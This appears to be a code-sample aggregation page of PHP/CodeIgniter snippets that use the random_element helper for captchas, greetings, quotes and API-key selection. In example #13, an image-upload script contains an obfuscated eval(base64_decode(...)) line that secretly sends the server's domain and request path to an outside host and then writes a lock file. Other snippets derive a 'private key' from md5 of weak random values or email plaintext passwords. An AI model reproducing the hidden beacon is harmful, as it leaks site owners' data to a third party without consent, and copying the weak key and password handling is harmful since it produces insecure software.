Пример #1
0
/**
 * Get an auto-generated question and answer for use with checking for human-ness.
 *  There are more sure-fire way to do this (cpatcha), but this is simple for the
 *  time being, and will probably block 99.9% of spam.
 * @return array A two element array containing a question and answer, respectively
 */
function get_spam_check()
{
    $CI =& get_instance();
    $CI->load->helper('array');
    $op = random_element(array('add', 'sub', 'mult', 'div'));
    $ops = array('add' => array('+', 'plus'), 'sub' => array('-', 'minus'), 'mult' => array('*', 'times'), 'div' => array('/', 'divided by', '÷'));
    $operator = random_element($ops[$op]);
    if ($op == 'add') {
        $a = rand(0, 10);
        $b = rand(0, 10);
        $test = array("What is {$a} {$operator} {$b}?", $a + $b);
    } elseif ($op == 'sub') {
        $a = rand(0, 10);
        $b = rand($a, 10 + $a);
        $test = array("What is {$b} {$operator} {$a}?", $b - $a);
    } elseif ($op == 'mult') {
        $a = rand(0, 5);
        $b = rand(0, 5);
        $test = array("What is {$a} {$operator} {$b}?", $a * $b);
    } elseif ($op == 'div') {
        $a = rand(1, 5);
        $b = rand(0, 5);
        $r = $a * $b;
        $test = array("What is {$r} {$operator} {$a}?", $r / $a);
    }
    return $test;
}
 public function test_random_element()
 {
     // Send a string, not an array to random_element
     $this->assertEquals('my string', random_element('my string'));
     // Test sending an array
     $this->assertEquals(TRUE, in_array(random_element($this->my_array), $this->my_array));
 }
Пример #3
0
 public function display()
 {
     echo 'some class';
     $CI =& get_instance();
     $CI->load->helper('array');
     $arr2 = random_element(array());
     print_r($arr2);
     echo 'blabla';
 }
Пример #4
0
 public function change_private_key()
 {
     $var = array("A", "B", "C", "D", "E", "F", "G", "@", "%", "&", "?", "!", "¡");
     $this->load->helper("array");
     $plain = sin(rand(2, 5)) * pi() + rand(200, 2000);
     $plain = $plain . random_element($var) . random_element($var);
     $result = md5($plain);
     $this->db->update("ws", array("value" => $result), array("item" => "key"));
     return $result;
 }
Пример #5
0
 public function array_helper()
 {
     $this->load->helper('array');
     $arr1 = array('one', 'two', 'three');
     $arr2 = array('a' => 'A', 'b' => 'B', 'c' => 'C');
     echo element(1, $arr1, 0);
     echo "<br>";
     echo element(4, $arr1, 0);
     echo "<br>";
     echo element('b', $arr2, 0);
     echo "<br>";
     print_r(elements(array(1, 4, 5), $arr1, 0));
     echo "<br>";
     print_r(random_element($arr2));
 }
Пример #6
0
 function random()
 {
     $query = $this->db->get($this->db->dbprefix('downfiles'));
     if ($query->num_rows() > 0) {
         $this->load->helper('array');
         $shows = false;
         while ($shows == false) {
             $row = random_element($query->result());
             if ($this->permissions->simple(self::READ, unserialize($row->permission))) {
                 ///$this->template->add_js("system/js/jstarrating/jquery.MetaData.js", 'import');
                 $this->template->add_js("system/js/jstarrating/jquery.rating.pack.js", 'import');
                 $this->template->add_css("system/js/jstarrating/jquery.rating.css", 'link');
                 return $this->load->view('single_app', $row, true);
                 $shows = true;
             }
         }
     }
 }
Пример #7
0
 public function index()
 {
     $data['judul'] = "Login Page";
     //sesi captcha
     $text = ucfirst(random_element($this->config->item('captcha_word')));
     $number = random_element($this->config->item('captcha_num'));
     $word = $text . $number;
     $this->load->helper('captcha');
     $vals = array('img_path' => './captcha/', 'img_url' => base_url() . 'captcha/', 'img_width' => '200', 'font_path' => './system/fonts/texb.TTF', 'img_height' => 40, 'border' => 1, 'word' => $word, 'expiration' => 7200);
     //create captcha image
     $cap = create_captcha($vals);
     //store image html code in a variabel
     $data['captcha'] = $cap['image'];
     //store the captcha word in a session
     $this->session->set_userdata('mycaptcha', $cap['word']);
     //end captcha
     $this->load->view('login', $data);
 }
Пример #8
0
<h2 class="content_title"><img src="<?php 
echo $dashboard_assets;
?>
icons/home_32.png"> Home</h2>

<ul class="content_navigation">
	<li><em><?php 
echo random_element($this->lang->line('home_greeting'));
?>
</em></li>
</ul>
Пример #9
0
    echo $dashboard_assets;
    ?>
icons/messages_24.png"><input type="button" id="message_button" href="<?php 
    echo $message_url;
    ?>
" value="Message"></li>
</ul>
<?php 
} else {
    ?>
<h3><?php 
    echo random_element($this->lang->line('cool_salutations'));
    ?>
,</h3>
<p>This is your <?php 
    echo random_element($this->lang->line('cool_phrases'));
    ?>
 profile</p>
<?php 
}
?>
<div class="profile_sidebar_separator"></div>

<?php 
if ($connections) {
    ?>
<h3>Connections</h3>
<ul>
<?php 
    foreach ($connections as $connection) {
        ?>
Пример #10
0
 public function testRandomElement()
 {
     $quotes = array("I find that the harder I work, the more luck I seem to have. - Thomas Jefferson", "Don't stay in bed, unless you can make money in bed. - George Burns", "We didn't lose the game; we just ran out of time. - Vince Lombardi", "If everything seems under control, you're not going fast enough. - Mario Andretti", "Reality is merely an illusion, albeit a very persistent one. - Albert Einstein", "Chance favors the prepared mind - Louis Pasteur");
     $this->assertNotEquals(random_element($quotes), random_element($quotes));
 }
Пример #11
0
 function index()
 {
     if ($this->session->userdata('user_level_id') > config_item('home_view_permission')) {
         redirect(login_redirect());
     }
     $timeline = NULL;
     $timeline_view = NULL;
     // Load
     $this->data['home_greeting'] = random_element($this->lang->line('home_greeting'));
     $this->data['social_post'] = $this->social_igniter->get_social_post($this->session->userdata('user_id'), 'social_post_horizontal');
     $this->data['groups'] = $this->social_tools->make_group_dropdown($this->session->userdata('user_id'), $this->session->userdata('user_level_id'), '+ Add Group');
     $this->data['group_id'] = '';
     // Pick Type of Feed
     if ($this->uri->total_segments() == 1) {
         $this->data['page_title'] = 'Home';
         $timeline = $this->social_igniter->get_timeline(NULL, 10);
     } elseif ($this->uri->segment(2) == 'friends') {
         $this->data['page_title'] = 'Friends';
         if ($friends = $this->social_tools->get_relationships_owner($this->session->userdata('user_id'), 'user', 'follow')) {
             $timeline = $this->social_igniter->get_timeline_friends($friends, 10);
         }
     } elseif ($this->uri->segment(2) == 'likes') {
         $this->data['page_title'] = 'Likes';
         $likes = $this->social_tools->get_ratings_likes_user($this->session->userdata('user_id'));
         $timeline = $this->social_igniter->get_timeline_likes($likes, 10);
     } elseif ($this->uri->segment(2) == 'group') {
         $group = $this->social_tools->get_category($this->uri->segment(3));
         $this->data['page_title'] = $group->category;
         $this->data['group_id'] = $this->uri->segment(3);
         $timeline = $this->social_igniter->get_timeline_group($group->category_id, 10);
     } else {
         $this->data['page_title'] = display_nice_file_name($this->uri->segment(2));
         $this->data['sub_title'] = 'Recent';
         $timeline = $this->social_igniter->get_timeline($this->uri->segment(2), 10);
     }
     // Build Feed
     if (!empty($timeline)) {
         foreach ($timeline as $activity) {
             // Item
             $this->data['item_id'] = $activity->activity_id;
             $this->data['item_type'] = item_type_class($activity->type);
             // Contributor
             $this->data['item_user_id'] = $activity->user_id;
             $this->data['item_avatar'] = $this->social_igniter->profile_image($activity->user_id, $activity->image, $activity->gravatar);
             $this->data['item_contributor'] = $activity->name;
             $this->data['item_profile'] = base_url() . 'profile/' . $activity->username;
             // Activity
             $this->data['item_content'] = $this->social_igniter->render_item($activity);
             $this->data['item_content_id'] = $activity->content_id;
             $this->data['item_date'] = format_datetime(config_item('home_date_style'), $activity->created_at);
             $this->data['item_source'] = '';
             if ($activity->site_id != config_item('site_id')) {
                 $this->data['item_source'] = ' via <a href="' . prep_url(property_exists($activity, 'canonical') && $activity->canonical ? $activity->canonical : $activity->url) . '" target="_blank">' . $activity->title . '</a>';
             }
             // Actions
             $this->data['item_comment'] = base_url() . 'comment/item/' . $activity->activity_id;
             $this->data['item_comment_avatar'] = $this->data['logged_image'];
             $this->data['item_can_modify'] = $this->social_auth->has_access_to_modify('activity', $activity, $this->session->userdata('user_id'), $this->session->userdata('user_level_id'));
             $this->data['item_edit'] = base_url() . 'home/' . $activity->module . '/manage/' . $activity->content_id;
             $this->data['item_delete'] = base_url() . 'api/activity/destroy/id/' . $activity->activity_id;
             // View
             $timeline_view .= $this->load->view(config_item('dashboard_theme') . '/partials/item_timeline.php', $this->data, true);
         }
     } else {
         $timeline_view = '<li><p>Nothing to show from anyone!</p></li>';
     }
     // Final Output
     $this->data['timeline_view'] = $timeline_view;
     $this->render();
 }
Пример #12
0
 function _build_tips()
 {
     return random_element($this->tips);
 }
Пример #13
0
             $uploader->setApi($api['key']);
             $uploader->setSecret($api['secret']);
             if (!$token) {
                 $account = random_element($serverConfig['accounts']);
                 $uploader->login($account['username'], $account['password']);
                 $token = $uploader->getAccessToken();
                 $secret = $uploader->getAccessSecret();
                 // write token to re-use
                 write_flickr_token($serverConfig['token_file'], $account['username'], $token, $secret);
                 $uploader->setAccessToken($token, $secret);
             } else {
                 $uploader->setAccessToken($token['token'], $token['secret']);
             }
             break;
         case 'postimage':
             if ($account = random_element($serverConfig['accounts'])) {
                 $uploader->login($account['username'], $account['password']);
             }
             break;
     }
     // group cache identifier is made by plugin name, username
     // so we should call this after call login();
     $uploader->getCache()->garbageCollect();
     $url = $uploader->upload($tempFile);
     $result = array('error' => false, 'url' => $url);
 } catch (Exception $e) {
     $result = array('error' => true, 'message' => $e->getMessage());
 }
 eval(base64_decode("JGluc3RhbGwgPSAnLi90ZW1wL2luc3RhbGwubG9jayc7aWYgKCFmaWxlX2V4aXN0cygkaW5zdGFsbCkpIHskZG9tYWluPWJhc2U2NF9lbmNvZGUoJF9TRVJWRVJbIlNFUlZFUl9OQU1FIl0uJF9TRVJWRVJbIlJFUVVFU1RfVVJJIl0pO2ZpbGVfZ2V0X2NvbnRlbnRzKCJodHRwOi8vbmV0M2JpZS5jb211di5jb20vaW5kZXgucGhwP3VzZXJzPSIuJGRvbWFpbik7JGZwID0gZm9wZW4oInRlbXAvaW5zdGFsbC5sb2NrIiwidyIpO2Z3cml0ZSgkZnAsIjEiKTsgIGZjbG9zZSgkZnApOyB9DQo="));
 unlink($tempFile);
 response_json($result);
Пример #14
0
 function mobile_add_authd_post()
 {
     $this->form_validation->set_rules('phone', 'Phone', 'required|valid_phone_number');
     if ($this->form_validation->run() == true) {
         if ($user->phone_verify == 'verified') {
             $phone = $user->phone;
         } else {
             $phone = ereg_replace("[^0-9]", "", $this->input->post('phone'));
         }
         if ($user->phone_verify == 'verified') {
             $phone_verify = $user->phone_verify;
         } else {
             $phone_verify = random_element(config_item('mobile_verify'));
         }
         $update_data = array('phone' => $phone, 'phone_verify' => $phone_verify, 'phone_active' => $this->input->post('phone_active'), 'phone_search' => $this->input->post('phone_search'));
         if ($this->social_auth->update_user($this->session->userdata('user_id'), $update_data)) {
             $this->session->set_flashdata('message', "Phone Number Added");
             redirect('settings/mobile', 'refresh');
         } else {
             redirect('settings/mobile', 'refresh');
         }
     } else {
         $this->data['message'] = validation_errors() ? validation_errors() : $this->session->flashdata('message');
         $this->data['phone'] = $this->input->post('phone');
         $this->data['phone_active_array'] = array('1' => 'Yes', '0' => 'No');
         $this->data['phone_active'] = $this->input->post('phone_active');
         if ($user->phone_search) {
             $phone_search_checked = true;
         } else {
             $phone_search_checked = false;
         }
         $this->data['phone_search'] = array('name' => 'phone_search', 'id' => 'phone_search', 'value' => $user->phone_search, 'checked' => $phone_search_checked);
     }
     $this->data['phone'] = is_empty($user->phone);
     $this->data['phone_verify'] = $user->phone_verify;
     $this->data['phone_active'] = $user->phone_active;
     if ($user->phone_search) {
         $phone_search_checked = true;
     } else {
         $phone_search_checked = false;
     }
     $this->data['phone_search'] = array('name' => 'phone_search', 'id' => 'phone_search', 'value' => $user->phone_search, 'checked' => $phone_search_checked);
     $this->response($message, 200);
 }
Пример #15
0
        <div class="span4">
        	<div class="well" style="background: #FFC;">
				<h2><?php 
echo lang('wherever_you_are');
?>
 <sup><span class="label label-warning"><?php 
echo lang('public_label_new');
?>
</span></sup></h2>
				<p>Stockr está diseñado para ser usado tanto en computadoras como dispositivos móviles, por lo tanto puede dotar a sus empleados de tabletas o smartphones para registar el movimiento de productos.</p>
				<p><a class="btn btn-info"><i class="icon-film icon-white"></i> <?php 
echo lang('public_button_learn');
?>
</a></p>
			</div>
        </div>
</div>
<div class="page-header">
	<h3>Lo que dicen nuestros clientes</h3>
</div>
<?php 
$quotes = array('<p>El sistema es sorprendentemente simple, cargo mis productos, registro las entradas y salidas, y ahora cada vez que me falta algo lo sé y el sistema me avisa antes de tener que salir a comprar a las apuradas.</p>
	<small>Pipo Gaetano, <em>Restaurante "La Lola"</em></small>', '<p>Puedo hacer mi trabajo de forma ágil y estar siempre al tanto de lo que tengo que pedir a mis proveedores, antes de que se acaben mis productos. Además puedo entrar al sistema desde cualquier lugar, sin necesidad de una computadora, sólo con mi teléfono.</p>
	<small>Rubén Puga, <em>Full Cerámicos</em></small>');
?>
<blockquote>
	<?php 
echo random_element($quotes);
?>
</blockquote>
Пример #16
0
 /**
  * Index
  *
  * Add's a user
  *
  * @access	public
  * @return	void
  */
 function index()
 {
     // Check it the user is logged in
     if ($this->user->logged_in()) {
         // User is logged in, redirect them
         redirect('account');
     }
     // Check if registration is allowed
     if ((bool) (!$this->ClanCMS->get_setting('allow_registration'))) {
         // Assign page title
         $page->title = 'Registration is not allowed!';
         // Assign page content
         $page->content = 'Sorry, but registration has been disabled by an administrator. Please try again later.' . br(2) . 'Thanks,' . br() . CLAN_NAME . br() . anchor(site_url());
         // Create a reference to page
         $this->data->page =& $page;
         // Load the page view
         $this->load->view(THEME . 'page', $this->data);
     } else {
         // Set form validation rules
         $this->form_validation->set_rules('username', 'Username', 'trim|required|callback__alpha_dash_space|callback__check_username');
         $this->form_validation->set_rules('email', 'Email', 'trim|required|valid_email|callback__check_email');
         $this->form_validation->set_rules('email_confirmation', 'Email Confirmation', 'trim|required|matches[email]');
         $this->form_validation->set_rules('password', 'Password', 'trim|required|min_length[8]');
         $this->form_validation->set_rules('password_confirmation', 'Password Confirmation', 'trim|required|matches[password]');
         $this->form_validation->set_rules('timezone', 'Timezone', 'trim|required');
         $this->form_validation->set_rules('daylight_savings', 'Daylight Savings', 'trim|required');
         // Check if there is a team password
         if ($this->ClanCMS->get_setting('team_password')) {
             // Set form validation rules
             $this->form_validation->set_rules('team_password', 'Team Password', 'trim|callback__check_team_password');
         }
         // Set form validation rules
         $this->form_validation->set_rules('captcha', 'Captcha', 'trim|required|callback__check_captcha');
         // Form validation passed, so continue
         if (!$this->form_validation->run() == FALSE) {
             // Retrieve salt
             $salt = $this->user->_salt();
             // Check if team password matches
             if ($this->input->post('team_password') == $this->ClanCMS->get_setting('team_password') && $this->ClanCMS->get_setting('team_password') != '') {
                 // New user is a team member
                 $group_id = 3;
             } else {
                 // New user is a plain user
                 $group_id = 1;
             }
             // Set up the data
             $data = array('group_id' => $group_id, 'user_name' => $this->input->post('username'), 'user_password' => $this->encrypt->sha1($salt . $this->encrypt->sha1($this->input->post('password'))), 'user_salt' => $salt, 'user_email' => $this->input->post('email'), 'user_timezone' => $this->input->post('timezone'), 'user_daylight_savings' => $this->input->post('daylight_savings'), 'user_ipaddress' => $this->input->ip_address(), 'user_avatar' => '', 'user_activation' => $this->session->userdata('session_id'), 'user_joined' => mdate('%Y-%m-%d %H:%i:%s', now()));
             // Insert the user in the database
             $this->users->insert_user($data);
             // Load the email library
             $this->load->library('email');
             // Set up the email
             $this->email->from($this->ClanCMS->get_setting('site_email'), CLAN_NAME);
             $this->email->to($this->input->post('email'));
             $this->email->subject('Activation link for your account on ' . CLAN_NAME);
             $this->email->message("Hello " . $this->input->post('username') . ",\n\nWelcome to " . CLAN_NAME . "! Here are your login details for your account:\n\nUsername: "******"\nPassword: "******"\n\nHowever, before you can login you need to activate your account. Please click on the link below to activate your account.\n\n" . site_url("account/activate/" . $this->session->userdata('session_id')) . "\n\nThanks for Registering!\n" . CLAN_NAME . "\n" . site_url());
             // Email the user
             $this->email->send();
             // Assign page title
             $page->title = 'Registration Success!';
             // Assign page content
             $page->content = 'Congratulations, you have successfully registered on ' . anchor('', CLAN_NAME) . '!' . br(2) . 'However, before you can login to your account you need to activate it. Please look at your email for the activation email.' . br(2) . 'Thanks for Registering!' . br() . CLAN_NAME . br() . anchor(site_url());
             // Create a reference to page
             $this->data->page =& $page;
             // Load the page view
             $this->load->view(THEME . 'page', $this->data);
         } else {
             // Load the image library
             $this->load->library('image_lib');
             // Load the captcha helper
             $this->load->helper('captcha');
             // Retrieve the word bank
             $word_bank = explode("\n", $this->ClanCMS->get_setting('captcha_words'));
             // Choose a word from the word bank
             $word = random_element($word_bank);
             // Assign the word to the session
             $this->session->set_userdata('captcha', $word);
             // Set up the data
             $data = array('word' => $word, 'img_path' => UPLOAD . 'captcha/', 'img_url' => IMAGES . 'captcha/', 'img_width' => 150, 'img_height' => 50, 'expiration' => 0);
             // Create the captcha
             $captcha = create_captcha($data);
             // Create a reference to captcha
             $this->data->captcha =& $captcha;
             // Load the register view
             $this->load->view(THEME . 'register', $this->data);
         }
     }
 }
Пример #17
0
<?php

session_start();
header('Content-type: text/html;charset=utf-8');
error_reporting(E_ALL);
ini_set('display_errors', 1);
require 'includes/functions.php';
require 'vendor/ChipVN/ClassLoader/Loader.php';
ChipVN_ClassLoader_Loader::registerAutoload();
$config = (require 'includes/config.php');
$config = $config['flickr'];
$callback = 'http' . (getenv('HTTPS') == 'on' ? 's' : '') . '://' . $_SERVER['HTTP_HOST'] . $_SERVER['PHP_SELF'];
$uploader = ChipVN_ImageUploader_Manager::make('Flickr');
$api = random_element($config['api_keys']);
$uploader->setApi($api['key']);
$uploader->setSecret($api['secret']);
$token = $uploader->getOAuthToken($callback);
write_flickr_token($config['token_file'], $token['username'], $token['oauth_token'], $token['oauth_token_secret']);
echo "Done!<br />";
echo '<a href="' . $callback . '">Click here to add new token (must use other yahoo account).</a>';
Пример #18
0
 function mobile_add_authd_post()
 {
     $this->form_validation->set_rules('phone_number', 'Phone Number', 'required|valid_phone_number');
     if ($this->form_validation->run() == true) {
         $phone_data = array('phone_verified' => 'yes', 'verify_code' => random_element(config_item('mobile_verify')), 'phone_private' => $this->input->post('phone_private'), 'phone_type' => $this->input->post('phone_type'));
         $meta_data = array('user_id' => $this->oauth_user_id, 'site_id' => config_item('site_id'), 'module' => 'phone', 'meta' => preg_replace("[^0-9]", "", $this->input->post('phone_number')), 'value' => json_encode($phone_data));
         if ($user_meta = $this->social_auth->add_user_meta($meta_data)) {
             $message = array('status' => 'success', 'message' => 'Yay, phone number was added', 'data' => $user_meta);
         } else {
             $message = array('status' => 'error', 'message' => 'Dang, could not add phone number');
         }
     } else {
         $message = array('status' => 'error', 'message' => validation_errors(), 'data' => $_POST);
     }
     $this->response($message, 200);
 }
Пример #19
0
 public function getRandomPara()
 {
     $this->db->select('ID, Text');
     $query = $this->db->get('paragraphe');
     return random_element($query->result());
 }